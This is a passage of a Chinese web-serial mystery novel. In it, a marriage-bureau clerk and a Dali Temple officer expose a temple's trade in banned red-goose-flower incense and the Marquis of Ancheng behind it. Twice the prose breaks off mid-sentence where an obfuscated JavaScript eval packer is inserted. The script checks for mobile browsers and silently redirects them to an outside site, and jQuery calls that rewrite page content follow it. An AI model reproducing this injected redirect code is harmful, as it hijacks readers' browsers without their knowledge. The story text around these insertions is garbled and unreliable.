顾行歌吓得心头一紧,差点脱口惊呼,忙伸手捂住嘴。偏在这时,脚下一滑,踩上块碎石,发出一声轻响。 此时,山下的云澈猛的一抬头,目光凌厉,直扫向他们藏身的山坡。 情急之下,李侍卫迅速抬手一拽,紧紧扣住顾行歌的手腕,利落地将她往后一扯,压进身后的石缝阴影里。 顾行歌被挤在狭缝里,低声咬牙:“我就说嘛,这帮秃驴都不是好人。云澈那只老秃驴也罢,连云信那小秃驴都敢骗我!” 李侍卫仍盯着山下火光,嗓音压得极低:“云信可能真没骗你。” 顾行歌一想,方才她夜里想叫人,隔壁呼噜震天响……看来那小秃驴真是睡死过去了,倒不像是装傻。 她刚想舒一口气,又一想起刚才看见的场景,眉心顿时一蹙:“还有件事不对劲。我明明看见云澈他们抱着木盒子去了前殿,眨歌眼的功夫,人却抱着衣物出现在后山,这当中定有古怪。” “我知道。”李侍卫的语气听不出情绪,“你从屋里出来的时候,我就跟上你了,这些我也看见了。” 顾行歌顿时一阵后怕,这李侍卫功夫高强,自己竟然完全没有发觉,幸亏这李侍卫是自己这边的…… 李侍卫微微顿了顿,又道:“木盒子里头装的那些东西,说不定就是那些红雁花。” 顾行歌点了点头,不再说话,只默默盯着山下火堆。 过了好一阵,山下火堆终究熄了,云澈他们也回到了禅房。远远望去,整座慈华寺安静得像从没发生过事的样子。 李侍卫站起身,道:“我们得下去看看,他们有没有留下什么线索。” “行啊。”顾行歌也跟着起身,也拍了拍自己皱巴巴的衣裙,接着慢悠悠地说道,“不过,你得先松手。” 李侍卫一愣,低头一看,这才发现自己还抓着她手腕。他的手指紧箍着她纤细的手腕,那皮肤早就被捏出一圈红痕。 他愣了一下,语气罕见地带了点慌乱:“……抱歉。” 顾行歌却不恼,低头看了一眼那红痕,笑道:“李大哥果然武艺高强。” 李侍卫咳了一声,默默移开视线,显然不打算接茬。 顾行歌倒也没继续逗他,低头轻轻揉了揉手腕,眼里却闪了闪。 手劲倒不小。这武力,最起码在户部是无人可敌的,一定要把这人搞回合婚司! 两人急匆匆赶到山下火堆旁,顾行歌蹲下身,伸手翻了翻地上的灰烬,字画大多都被烧成灰了,倒是有几件衣物因布料厚重结实,虽烧了个大概,但还剩了些残破不堪的布头。 她随手捡起一截没烧干净的衣袖,搓了搓,不由眉头一挑:“上好的布料,织法精细,这种衣物京城大户人家中也不多见。” 只是这帮和尚为何如此暴殄天物,将这些全都烧了。 李侍卫像是读懂了顾行歌的疑问,道:“这慈华寺虽香火鼎盛,但落在这些和尚头上应该没有多少。看来,这些衣物并非和尚所有,而是属于他们的贵客。” “贵客?”顾行歌默念。 她还未来得及问出口,只见李侍卫又走往后山深处走去。顾行歌赶紧跟上去。 只见山坡上的亭台楼阁的梯子旁,赫然出现一处被藤蔓掩映的石洞。从洞口残留的痕迹来看,方才云澈等人,极有可能便是从这里出来的。 顾行歌紧随其后走进石洞。洞内空间不算大,随处可见堆放着的杂物,显然这里早已被人当作了储物之所。李侍卫在洞中仔细摸索着,他的手沿着石壁和架子来回滑动,仿佛在寻找什么。 顾行歌有些好奇,问道:“你在找什么?” “门。”李侍卫言简意赅。 顾行歌听了有些不解。 李侍卫没有停下手中的探寻,边找边解释道:“刚才,云澈他们从前殿方向消失,不到一炷香的功夫又出现在这后山方向,而你我站在高处,却未发现他们的行踪,所以慈华寺中必定有密道相连。” 顾行歌听罢,这才恍然大悟。 不多时,李侍卫在一处架子附近摸到了一扇石门,然而,他用尽全力推搡,石门却纹丝不动。顾行歌见状,也上前帮忙,两人合 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李侍卫皱眉:“可是那殿堂每日香客不少,他们胆子不至于那么大。” 顾行歌听他此言,却只是轻笑一声:“那药王殿门口常年摆放着各种草药,多数香客都是拿了药,匆匆一拜便走,根本不会多做停留。再者,这檀香本就有麻痹身心的作用,即便有香客久留,闻的多了,脑袋一晕,也不会察觉出任何蹊跷。更何况,越是这种人来人往的地方,和尚们反而越觉得我们不会起疑,这恰恰是他们藏匿秘密的绝佳之处。” 李侍卫闻言,略一思忖,目光在她脸上停留片刻,随即果断地吐出一个字:“走。” 两人悄悄潜入药王殿,果然如顾行歌所言,这殿中依旧点着那种檀香,但只不过味道比今晚云信给他们点的淡了许多。 顾行歌一进门就反手把殿门栓上,李侍卫径直走到佛像背后摸了几下,不多时竟真找到了一块石板。 李侍卫用力一推,那块看似寻常的石板竟应声而开,露出一个向下延伸的木梯。他探头一望,梯子下方,赫然是一条幽深的暗道。他回头看了顾行歌一眼,目光中竟然带着几分毫不掩饰的赞赏:“你说的是对的,这里果然有机关。” 顾行歌点点头:“你先下去看看。” 要进入暗道,就必须踩着这木梯下去。这梯子看着不短,可做工却粗陋得很,摇摇晃晃,仅仅依靠一根麻绳勉强系住,才不至于彻底散架。 李侍卫动作格外小心,刚下了几级台阶,却忽然觉得头上一暗。 他下意识一抬头,才发现一把匕首,正悄无声息地抵在那根维系木梯的麻绳旁。而拿着匕首的,正是—— 顾行歌。 她手抖得厉害,可眼中却不见丝毫慌乱。她紧盯着李侍卫,质问道:“李大哥,你既知道这檀香中有红雁花,也知道任公子死得古怪,一路上你查案跑得比谁都勤快。可你若真是王家的侍卫,又怎会放心让王景一人中了这檀香,昏睡不醒?” 她说着,手中匕首轻轻往下一划,麻绳顿时崩开一丝细丝。 顾行歌接着说道:“你查案,比我还上心,甚至比那大理寺的大人还急着想知道任公子的死因。我不信你只是因为好心。” 她深吸一口气,像是鼓足了所有的勇气,厉声问道:“说,你到底是谁!” 9. 香火不渡(九) 李侍卫看着上方的顾行歌,方才还觉得这女子聪明伶俐,一路顺藤摸瓜,推断出密道的所在之地,倒是个可塑之才,没想到一时大意竟被这女子拿捏住。 半晌,他轻声道:“你早就在试探我。” 顾行歌满脸严肃,将那匕首又往前送了半寸:“我本没怀疑你,可你那日最早抵达山下,任公子的尸首,是你第一个看到的。今日,我是因机缘巧合开了窗,侥幸未中这檀香,可你怎么,也能全身而退?” 李侍卫沉了片刻,终于道:“那檀香伤不了我半分。” 顾行歌冷笑一声:“我就知道。那你到底是谁?” “我到底是谁?”李侍卫淡淡看着她,神色毫无惧意,“你若真信我有问题,这会儿就该割断绳子。不是站在上头问我。” 顾行歌没说话,只盯着他看。匕首还悬在麻绳上,她的双手却颤抖得更厉害了。 她咬牙开口:“你若不说,那就留在这儿吧。明日一早,寺中会有大理寺官差上山,正好一并把你带走。” 李侍卫听到这话倒是笑了一声。 “大理寺?”他道,“我倒不怕。” 顿了顿,他往上一抬下巴,讥诮道:“倒是顾主簿你,不是打算割绳子吗?怎么还不动手?” 顾行歌一噎,手中匕首紧了紧,终究还是没落下去。取人性命这事,她终究还是干不下。 李侍卫却趁她神情一松,攀着木梯一跃而上。 顾行歌一惊,下意识退了半步,还未来得及反应,他已稳稳落在她面前,反手将她的匕首打落。 “以后真要杀人,”他淡淡开口,“就别犹豫。下不去手的人,最后往往死得最快。” 顾行歌咽了口唾沫,刚才还以为自己稳坐上风,转眼就被人翻了盘。要是这次能活着出去,她一定要给合婚司请一个会武的,管他什么八卦拳,还是鸳鸯剑,能打赢就行。 她努力维持镇定,声音却止不住地发颤:“你到底是谁?” 李侍卫看看顾行歌,这女子,到底不是个心狠手辣之辈,却也不是个好惹的。 他还是头一回,被个女子逼到这地步。 此时外头响起几声鸟鸣,天色已逐渐泛白。天一亮,香客们都会上山,这就不好收场了。 可是怎么给这女子说明自己的身份呢…… 李侍卫沉默片刻,终于低声道:“你可知道京城的那几桩下毒案,我……” 顾行歌还未等他说完,便惊恐起来:“是你?你下的毒?我就说大理寺怎么一直抓不到人,原来你躲在王家。” 眼看顾行歌的嗓门越来越大,李侍卫一个箭步上前,直接将她拦腰抱起。 顾行歌原地炸毛,差点当场断气:“你你你你你,你干什么!放我下来!你疯了吧!” 她双手乱挥,试图从李侍卫怀里挣脱。 李侍卫只双手一收,竟将她箍得更紧了些:“闭嘴,我不会伤你。”话音刚落,整个人顺着墙壁一跃而下,到了那密道里面。 不来不知道,一来吓一跳。原以为这密道只是逃命之所,谁知里头别有洞天。中间一条道,两侧竟隔出七八间密室,屋角搁着熏炉、茶案、连屏风和铜镜应有尽有,倒像个地下行宫。 只是这些陈设虽讲究,却多有凌乱破损,像是有人走得急,来不及清空。 顾行歌看得发怔,直到被李侍卫稳稳放下,才回过魂来。 此时,她衣裙微乱,呼吸略重,腰间还残留着方才那双手的温热。 顾行歌也不是扭捏的人,但这一回真是又气又恼:“既能一跃下来,方才一步一步爬木梯,是做戏给我看的?” 李侍卫倒不否认,神色平静如常:“嗯。” “此处机关众多,不宜久留。你若真想查清任公子的死因,就收起点火气,咱们各自细查一查。我留你一命。可你要是敬酒不吃吃罚酒……” 他冲她一点头,低声说道:“可别怪我无情。” 顾行歌一听,顿时想起老郑当初那一卦,说她最好离此人远远的。她当时嗤之以鼻,如今站在这密道里,不得不承认,老郑算得也太准了。 她心里一凛,默默决定,如果这次能回去,这回若真能活着出去,她第一件事就是回去把老郑那堆算卦的书、铜钱、龟壳一并烧毁。不准再算了! 李侍卫的目光落在角落那尊铜香炉上,快步走过去,掀开炉盖一看,里头只有一层细细的灰。 “是香灰。”他低声说。 顾行歌也凑上前,刚靠近香炉嗅了一下,便被呛住,忙往后一退,捂着鼻子皱眉:“这应该还是这寺里的檀香,只是这味……怎么比平常冲得这么多?” 李侍卫道:“这才是红雁花的原本的味道。平日里他们只是掺了些许,混在檀香里烧,自然淡得多。” 他扫一眼屋中陈设:“你看这屋中,香炉、软榻、帘帐俱全,摆得这么讲究,不像是拿来清修的,倒像是专为人沉迷所设。” 顾行歌闻言,眼神一动:“你的意思是,那些中毒身亡的公子少爷们,就是在这里吸食了这檀香?” 李侍卫点头:“几个死者,家世背景不同,死状却极为相似。起初是神志不清,再是皮肤出红斑,最后脏腑腐烂。共通点只有一个,生前都曾到过慈华寺。” 顾行歌半晌未语,忽而低声道:“任公子暂居此寺,因病常用红雁花,手上自然有货。若真在这慈华寺中制成檀香,再卖予有钱的达官贵人。这路数倒是合情合理。这香用得越多,便越发离不了,一来一去,便是金银滚滚。” 李侍卫却摇了摇头,淡声道:“对,也不对。” 他目光微沉:“若只是药用,他怎会囤下这许多红雁花?再说了,这红雁花被禁售多年,就算是医馆也得找太医院少量请药,慈华寺又是哪来的胆子,做出这等香,还敢广邀权贵于此?” “除非……” 顾行歌蹙眉思索,缓缓接道:“除非有人,暗中大量购入红雁花,与慈华寺里应外合,再引京中权贵香客至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860028|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此,借佛门清净之名,布一场局。” 李侍卫不说话,只低低应了一声,算是默认。 顾行歌只得感叹道:“这慈华寺究竟供的是神佛,还是供恶鬼。” 两人再往前走,在密道尽头的角落里,竟发现一个红木盒子,雕花精致,看来就是云澈方才手里拿的那个。顾行歌蹲下打开一看,盒中赫然是几包包裹精致的红雁花,旁边还压着几张泛黄的纸张。 李侍卫弯腰扫了几眼,低声道:“果然。余下的,怕都藏在此处。” 顾行歌却没急着说话,手指翻过纸张,发现其中一页像是账册残页,字迹因潮湿已模糊不清。她小心翼翼地揭开,见其底部隐约写着一个名字。 安成侯。 她怔了片刻,才喃喃出声:“安成侯,果然是他。” 李侍卫微微挑眉,倒像早知她会说出这个名字。 顾行歌道:“难道你早就知道?” 李侍卫未作声,只伸手将那红木盒接了过去。 顾行歌似在理清思绪,又似在自言自语:“安成侯如今不过一个虚头衔,侯爵在身,却无实权,整天急着把幺娘嫁进吏部王家,按理说该过得紧些才对。可他府中出入依旧是香车宝马。倒像比当今几位实封亲王还阔气些。”她顿了顿,“依我看,这股子阔气,多半是靠这檀香的钱撑起来的。” 她眼神一转,落在那木盒上:“我在任公子的书册里,见他多次提到安成侯的名字。说不定就是这任公子假借治病的名头,暗地里替安成侯购了大批红雁花。” “只是这任公子,也不老实。明面上听命于安成侯,暗地里却把幺娘给勾了过去。” “本来这幺娘都说好了要嫁进王家,结果被任公子三言两语就撬了墙角。”她接着说道,“幺娘若嫁进王家,王家便可助他安成侯东山再起、重掌实权。你说,他会不会动杀心?” 李侍卫始终不语,只垂眸看着那盒子,神情晦暗不明。 顾行歌见他半天没动静,便自说自话地补了一句:“昨夜我还听到云澈说了一句‘侯爷’。这寺里除了安成侯,还有哪门子侯爷能让人小心到这地步?” 李侍卫闻言眉头微动,果真陷入沉思。 顾行歌面上仿佛还在思索案情,脚下却已经悄悄挪到密道尽头,手摸上那石门。她转头一看见李侍卫还在对着木盒发呆,便一个推手将石门推开,风一样地蹿了出去。 刚出了门,就立即转身把石门狠狠关上:“想和我斗,你还嫩了点。” 此时,门外晨光晃眼,山雾未散。 顾行歌一抬头,却看见不远处站了一排人,那为首的,正是昨日见过的大理寺秦若木。而他身侧,被几位差役押住的,便是她方才才在密道里断言为幕后真凶的那一位——安成侯。 顾行歌顿时换上一副见亲人似的笑脸,声音都高了几分:“秦大人!你可算回来了!” 秦若木脸色发白,眼里尽是慌张:“顾主簿!你怎么把我家大人关进去了!” 10. 香火不渡(十) “大人?”顾行歌困惑地望着秦若木,“你家大人是哪位?” 她话音刚落,身后忽然传来一道熟悉的声音:“他家大人,自然是我。” 顾行歌脸一僵,猛地回头,果不其然,只见方才被她亲手关进石门的男人,正从晨雾中走出来。 “你怎么这么快就出来了?”顾行歌脱口而出,话一出口便知不对,赶紧补了一句,“里面太闷,我先出来透透气。” 李侍卫此时倒是头一回笑了,只是这笑容里带着点捉摸不透的意思:“原来顾主簿只是出来透口气,我还当你是存了心,想把我困在那密道里头。” 顾行歌偏偏还不好反驳。她本是气不过被这人胁迫,想让他吃点苦头,没想到这人这般厉害,一转眼就又站到了她面前。 秦若木眼疾手快地迎上来,一边替李侍卫掸去肩上的灰尘,一边关切道:“大人,您可还好?” 顾行歌瞧这他这副熟门熟路的架势,忽而灵光一闪:“他是你家大人,你是大理寺的,那他难不成就是……” 她盯着李侍卫那双冰冷的眼睛,只觉得一阵凉意袭来。 鬼判,魏怀州! 若这人当真是魏怀州,顾行歌只觉得背后冷风阵阵。 她方才还用匕首威胁他,虽然这人也反过来逼迫自己去查案,但魏怀州,朝中有名的心狠手辣,惹不起。她一个小小合婚司主簿,仕途尚未起步,难不成这次要在此人面前栽个大跟头? 这念头刚冒出来,她就猛地把自己拍醒了。 荒唐!荒唐! 魏怀州那是何许人也?能亲自跑到这山里查案?能被一把小匕首唬住?能被她关在密道中? 顾行歌这边正乱作一团,那边李侍卫,看了一眼在被押着的安成侯,随即不动声色地朝秦若木递了个眼色。 秦若木立即心领神会,手一挥,其他的差役都退了下去。 顾行歌刚想开口,那人却先她一步,淡淡道:“我本姓李,名……”他顿了一下,“李烛龙,大理寺现任寺丞。” “寺丞?”顾行歌闻言,“竟然是李寺丞?” 大理寺确实有这么一位李寺丞。前些日子此人家中长辈还托人来合婚司议亲,只是当时顾行歌忙得脚不沾地,没亲自接待,但这名字还是听过的。 话虽这么说,她还是狐疑地在李侍卫和秦若木之间多看了几眼:“可昨日在慈华寺后院,你们怎么看都像互不相识。” 秦若木倒也不躲闪,直截了当地回道:“此次奉命调查京中中毒之事,线索直指慈华寺。案情牵扯太深,大理寺便设了明暗两路。李大人在暗,我在明。若我们俩走得太近,反倒打草惊蛇。” 顾行歌想起来,第一次见这李烛龙之时,王景一脸忌惮。后来老郑去王家探口风,王家却一口咬定没这号人物。她只当这人是个不太好惹的江湖高手,王景怕他,王家遮掩,都是情理之中。 现在想来,王家更像是早就知道人家身份,一起演戏罢了。 啧,果然这些当官的,各个都是人精。 顾行歌冷静了一下,脸上挤出个笑来:“真是大水冲了龙王庙啊,一家人不认识一家人。” 她又补了一句,像是给自己找了个台阶下:“一明一暗,分头查案,不愧是大理寺。” 李烛龙低头将衣袖卷起来,方才他着急想抵住那石门,没想到反被石门把衣袖磨烂了。他道:“顾主簿,对这查案一事,倒是颇有些独到见解。” 顾行歌笑容僵了半分,棋差一着,今儿是自己先动了歪心思,吃瘪也只能认了。就当自己是只缩头乌龟,龟壳厚,命长! 李烛龙见她低头不语,倒也没再多计较。说到底,能顺利摸到这条密道,也多亏了她那点胆气。他心头那点困在密道里的闷气,终是散了七八分。随即转过身,目光落到不远处,安成侯身上。 安成侯脸色铁青,咬牙切齿:“有胆叫你们的大理寺魏少卿出来!你们配动我?” 李烛龙蹲下身来,与他平视:“巧了,就是魏大人让我来的。安成侯,私运红雁花这事,你还能瞒到几时去?” 安成侯听罢,脸上青白交加,骂道:“这事本就是慈华寺自作自受,与我侯府无关!” 李烛龙却不接话,抬手将那红木盒啪地一声放在地上。他翻出账册:“这上面写着你的名字,还能抵赖?” 安成侯冷笑:“这世上伪账何其多?万一是那些秃驴,狼子野心、诬陷忠良呢?” “好说。”李烛龙回头冲秦若木一点头,秦若木便将另一册书卷呈上。 “你既然不认账,那这些人,你总该认识了吧。”李烛龙翻开其中一页,念道,“去年八月初一,你在浮云居设宴,座上宾正是慈华寺的方丈。自那日起,方丈便频繁出入侯府。” 他顿了顿,又往后翻一页:“今年正月十七,你与京兆尹张家的公子在宫宴上相谈甚欢,未出半月,张公子亦屡屡往返于慈华寺,他上月便因这红雁花身亡。还有兵部员外郎庄家、英州刺史崔家……凡是中了毒的,皆来过慈华寺,且都与安成侯你,交情不浅。” 他语声如常,却句句封喉:“你可还有话说?” 安成侯脸色青白交加,强撑着道:“那些个纨绔子弟,平日荒唐放纵,死了也是咎由自取,与我安成侯府何干?再说了,你们不过些小吏小卒,凭什么来审我?叫魏怀州来!他好歹还得唤我一声姨丈,尔等几个,够格么?” 李烛龙听罢,竟轻轻一笑:“你倒还记得攀这门亲。可惜……” 他目光一沉:“正元二十八年,你趁本朝与西陵交战,私开商路,暗运红雁花入京。彼时边疆动荡,朝廷无暇他顾,便也未曾细究。” 他顿了一下,字字沉稳:“可惜,你不知收手。近三年你重启旧路。你以为,圣上当真不知?还是以为,当年之事,魏大人也蒙在鼓里?” “胡说八道!”安成侯怒喝,嗓音却已发虚,气势一落千丈。 这时,顾行歌在一旁开口道:“你仿人笔迹写纸条,欲将任公子之死嫁祸给王景,故意编个‘悔婚杀人’的戏码,想除掉替你私运红雁花的任公子……你大概没算到,当晚王景压根不在王家,他是在浮云居,一直做梦等着见幺娘。” 此言一出,方才还在辩驳的安成侯 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顾行歌听罢,悄悄松了口气。看来云信那小和尚,倒也不至于受牵连。 她正想着,忽觉一阵目光落在自己身上。抬眼一看,李烛龙竟正定定望着她。 顾行歌被他看得心里发毛,刚要开口,那人忽然出声,若有所思地说道:“顾主簿,往后若再遇上什么可疑的事情,尽管来大理寺。” 顾行歌一愣,这个案子不是已经破了吗?她只得连连点头:“知道了。” 谁知话音才落,那人已拂袖转身而去。 顾行歌在原地喊道:“你干什么去?” 李烛龙头也不回,声音却悠悠传来:“去看看那王景,是不是还活着。” 顾行歌这才回过神来,拍了一下额头。 对哦,还有这一茬。 -- 一个月后。 太平坊正街尽头的馄饨铺旁,新立了一块木牌,上书几个大字:“延聘,武艺高强之士,月俸丰厚。” 只可惜“丰厚”二字被人厚厚抹去,旁边歪歪扭扭补了两个字“再议”。 烈日当空,合婚司的小院里,顾行歌的汗珠顺着鬓角一滴一滴往下掉。 赵清拿了蒲扇递给她:“大人,今日已经看了三个了,凑合一个得了呗。” 顾行歌一把接过扇子,没好气道:“凑合什么?刚才那个,连捆柴火都提不动,万一有人闯进来,他是拿什么护院?” 赵清道:“那上午那个呢?那小子挺能打。” 顾行歌翻了个白眼:“他是能打,可一开口就要两倍月俸,今年本来就没了赏银,拿什么给他?” 赵清叹气:“可咱这儿又不是捕快衙门,真有那必要招个能打的?” 顾行歌道:“当然有,你是不知道当日在慈华寺有多可怕。要不是我机敏,早让大理寺那位给关到密道中。” 赵清道:“不对啊,我怎么听说大人你当时是……” 话没说完,门口便响起一阵敲门声。 11. 香火不渡(十一) 一男子迈步进来,个头不算高,却黑壮结实。他抱拳行了一礼:“小人张义,自小练拳习武,原在一大户人家做工,前些日子刚脱了奴籍。听人说,贵处要招武夫,特地前来,不求富贵,只求有口饭吃。” 顾行歌一看,眼睛都亮了。孔武有力、好。说话有条理,很好。再一听刚脱了奴籍,更好了,便宜! 她咧嘴一笑:“不错不错,身子板看着就结实。来,先露一手瞧瞧。” 张义倒也爽快,当场打了套拳,虎虎生风,直接震的门外的那颗歪脖子柳树,抖了几下,几片叶子悠悠飘落,正巧落在顾行歌的脚旁。 顾行歌一拍案子,眉开眼笑:“好,就是你了。” “合婚司也不亏欠你,每月两贯钱。住的地方你也不必犯愁,旁边厢房空着,你住进去就成。日常没什么麻烦事,守着合婚司这摊子就行。偶尔跟着我出去跑个差事、见见人,替我撑个场面,别让人欺负了就好。” 张义连连点头:“那可太好了!多谢大人赏饭吃。” 顾行歌满意地一挥手:“行,那把你的户籍文书拿来。对了,还有脱奴籍的放良书,也一并给我看看。” 张义赶紧从拿出包好的文书,小心翼翼地递了上来:“都在这儿了。” 顾行歌接过来,边翻边点头。 可翻到那放良书时,她忽地一顿,脸上笑意一寸寸收了下去。 “你原是……”她抬头,神色复杂。 赵清凑上来一看:“哟,安成侯府的?” 张义顿了一下,像是也早料到会问起,便规规矩矩地答道:“是。侯爷出事后,侯夫人撑不下那么大个家业,便将我们这些老奴一并放了。小人命苦,只得出来讨口饭吃。” 顾行歌点点头,这事她当然知道,毕竟安成侯被抓的时候,她就在现场。 她低头翻看那份放良书,忽而眉头一皱:“咦?这字……” “怎么?”赵清凑过来瞅了一眼。 顾行歌指着那一行,安成侯府的信印后,端正有力的“李仁”两个字:“你说,这是侯爷亲笔?” 张义额上渗出一层细汗,嘴里却仍答道:“是……是的。” 李仁两个字,笔力沉稳,竟和她之前见过的安成侯手书,一模一样。 顾行歌低头,再看那放良书落款的时日。 十日前…… 十日前,安成侯人还在大理寺,差役更是寸步不离地看守着,连自己家里人都见不得一面,他还能提笔替下人签放良书? 赵清小声说:“这张义莫不是自己伪造的文书?” 顾行歌抬头望向张义,郑重地问道:“我再问你一次,这到底是谁写的?” 张义紧张到头皮发麻,此刻只觉得这女官语气虽冷,却无怒气,不像真要为难自己,便得讪讪笑了两声,老老实实道:“这个,不是侯爷写的,是……是我们家小姐写的。” “幺娘?”顾行歌一愣。 张义赶紧说道:“是,幺娘小姐是咱们侯府的嫡长女。如今侯爷被押,大事小事都是她撑着。那日着急,夫人就说,由小姐代签也成,小人哪敢拦。” 他叹了口气接着道:“再说了,都是侯府的主子,她签、侯爷签,不都一样?小人绝没想骗人。” 赵清啧了一声:“哟,这幺娘小姐的字倒是有所耳闻,在京中在闺阁间挺流行的。只是没想到她仿写也是一流……” 老郑却在一旁不以为意:“大人,我寻思这事也未必那么要紧。左右不过一张放良书,又不是遣兵调将的军令状。再说了,前几日我听大理寺的熟人说,安成侯这案子,今日就要定下了……眼下这节骨眼,幺娘小姐照着侯爷的笔迹补个签名,也算做了件好事不是?” 顾行歌听到这话,突然内心一沉。 她只望着那“李仁”两个字,眉心微蹙,像是有根线,冥冥之中勾住了她所有的想法。 这字,可太像了。若不是她亲眼见证安成侯押入大理寺,眼下八成就真被唬过去了。 她突然想起那日在慈华寺,她在任公子房中见到的那张纸,那上面的字…… 一股寒意涌起。 “老郑。”顾行歌出奇地平静,“你帮我招待一下张义。” 说罢,顾行歌拽了赵清一把就往外走,连口水都没顾得上喝。赵清还在她身后晕乎乎地问:“咱到底去哪儿?” 顾行歌只扔下一句:“城东,平康坊,大理寺。” 马蹄声急,一路尘土飞扬。赵清见顾行歌自方才起便面色凝重,他想问又不敢问,只得闷头赶路。 不多时,到了大理寺门前,她二人刚下了马车,还未来得及喘口气,便被守门衙役拦下:“大理寺重地,闲人止步。” 顾行歌抬手擦了把汗,亮出腰牌,拱手道:“户部合婚司顾行歌,有要事禀报,烦请通传李寺丞。” 那人摆摆手:“李大人出公差去了,还未回来。你们若要见,只得等。” 顾行歌一听这话,皱起眉头:“不能等,若再晚半日,恐怕会出人命。” 赵清虽不明所以,却也看出事态严重,立刻上前一步::“顾大人乃朝中命官!你这可是……” 两人正与守门人僵持不下,忽听一道声音传来;“没想到,顾大人,你还是来了。” 顾行歌闻声抬头。只见廊柱之下,秦若木一脸严肃,负手而立,早不知在那儿站了多久。 “顾大人,”秦若木抬手做了个请的手势,“我家大人已在堂中恭候多时。请随我来。” 顾行歌不再多言,只是抬脚迈进门槛,赵清连忙跟上。两人刚一前一后刚踏入门内,大理寺朱红色的大门在身后缓缓关上。 才走了几步,顾行歌便急着问道:“安成侯,可已定罪?” 秦若木道:“还未。我家大人吩咐,顾大人到了,才可开堂。” “这又是唱的哪一出?”顾行歌有些疑惑,脸上却不显,脚步不由自主快了几分。 不多时,两人被引至大理寺正堂。 秦若木率先入内,朗声道:“顾大人已到。” 正首位坐着一位年近花甲的老者,便是大理寺卿张大人。他倚着靠椅,眼睛半睁半闭,一副神游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860030|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物外的模样。 张大人左侧,立着一人,身形挺拔。那人一直背着手,正望向堂外,倒像是早掐着时辰等他们来了。顾行歌一脚踏进堂内,他这才转身。 正是李烛龙。 赵清站在顾行歌身后,一见此人,顿时一愣:“不是说这位李寺丞出公差没回来吗?” 顾行歌却没有回应,只抬眼,看向堂下。 那里正站着一个人。 安成侯。 再不是那日在侯府里挥斥方遒的模样。如今他锦袍破了边,发髻也乱了。 昔日京中赫赫有名之人,如今却是如此下场,倒是叫人有几分唏嘘。 堂边侯夫人正在低声啜泣,幺娘则偎在母亲身边,脸埋得极低,看不清神色。 此时,堂上原本似在闭目养神的张大人忽地睁大双眼,声音沙哑道:“这位是?” 顾行歌上前一步,拱手道:“户部合婚司,顾行歌。” 李烛龙微微前倾,补充道:“此案诸多疑点,皆由顾主簿最先察觉。虽不隶属本司,却也算得上是本案的见证人。学生今日斗胆邀请顾主簿,只为共探真相。” 赵清有些惊讶,小声嘀咕:“这李寺丞说的,怎么像他们提前规划好的呢,大人你知晓此事吗?” 顾行微微一怔,随后轻轻摇了摇头。 堂上的张大人“嗯”了一声,算是应了。 这时,李烛龙看向顾行歌,忽而一笑:“顾主簿倒是来得巧。我正想听听这位安成侯,还能记得几桩旧账。” 他说着,翻起桌上的案卷,朗声道:“安成侯,自康乐十六年起,你便开始暗中运送红雁花入京。时至今日,已有三年之久。你当真不记得,这些货是如何入的城?走的哪条道?” 安成侯咳了两声,缓缓张口道:“那都是下人经手的事,货从哪来、走哪条道,我从不过问。如今年纪大了,许多旧账,记不清了。” 他抬眼看了李烛龙一眼,像是笑了一下:“你要杀要剐,尽管来。我这把老骨头,也撑不了几日。总归……我都认。” 李烛龙目光微冷:“你不记得?那好,这几桩命案,你总记得吧?红雁花中毒案、死了多少人,还有,任公子这一命……” “慢着。” 一道女声突兀地打断了这场对话。 众人一愣,目光刷地看向站在一侧的顾行歌。 李烛龙略做惊讶道:”顾主簿,有何见教。” 顾行歌却没有立刻作答。 她侧头望向堂下人群,目光在众人面上一一扫过,最后落在幺娘身上。 幺娘垂着头,面色看不分明,纤细手指却紧紧拽着母亲衣角,一动不动。 顾行歌忽而轻声开口:“迫害任公子的凶手,另有其人。” 堂中众人齐齐一震,连张大人都微微睁开了眼。 李烛龙则猛地抬头,眼中已起波澜。 “你说什么?”他沉声问道。 顾行歌站定在堂中,一字一句:“任公子的死,并非安成侯一人所为。真凶另有其人,而且此刻,就站在这堂下。” 12. 香火不渡(十二) 李烛龙道:“顾主簿,说这话,可得要有证据啊。” 顾行歌拱了拱手:“李大人,顾某斗胆,想借几件物证一用。” 李烛龙抬手一挥,周边的衙役即刻取来一摞物证、小心呈上。 顾行歌接过,谁料双手一松,那一摞物证瞬间散落一地。 她低呼,忙蹲下身去捡:“哎呀,手滑。”只是话虽如此,手下却一点没乱,趁人不备,悄无声息地将一封早藏在怀中的信件混在地上的物证之中。 此时,几个衙役呼啦一下围上来,七手八脚帮她捡散落的物证。 没人发觉有异。 除了李烛龙。 李烛龙站在一旁,看得清清楚楚,却半点没出声。顾行歌这套手法,可比起他那几个在大理寺摸爬滚打多年的老属下,还要熟练。不知她是在哪儿学的这些招数,倒真让人有点好奇。 谁料等收拾完,顾行歌低头一看,却见地上竟还孤零零落着两封信,仔细一看,竟是一模一样的内容,叫人一时犯了难。 顾行歌“咦”了一声,随手拿起一封,若有所思道:“这封信,我记得。应该是任公子遇害前一晚收到的。来信人自称王尚书之子,王景。约任公子去山下的河边。也就是后来发现他尸身的地方。只是,这怎么会有两份啊。” 